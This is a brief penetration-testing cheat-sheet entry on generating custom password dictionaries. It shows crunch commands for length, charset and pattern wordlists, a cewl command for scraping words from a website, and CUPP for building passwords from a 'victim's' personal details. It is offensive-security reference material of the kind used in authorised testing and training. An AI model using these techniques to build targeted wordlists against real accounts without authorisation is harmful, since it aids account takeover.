Create your own Dictionaries

Find as much information about the target as you can and generate a custom dictionary. Tools that may help:

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

cewl example.com -m 5 -w words.txt

CUPP

Generate passwords based on your knowledge of the victim (names, dates...)

python3 cupp.py -h
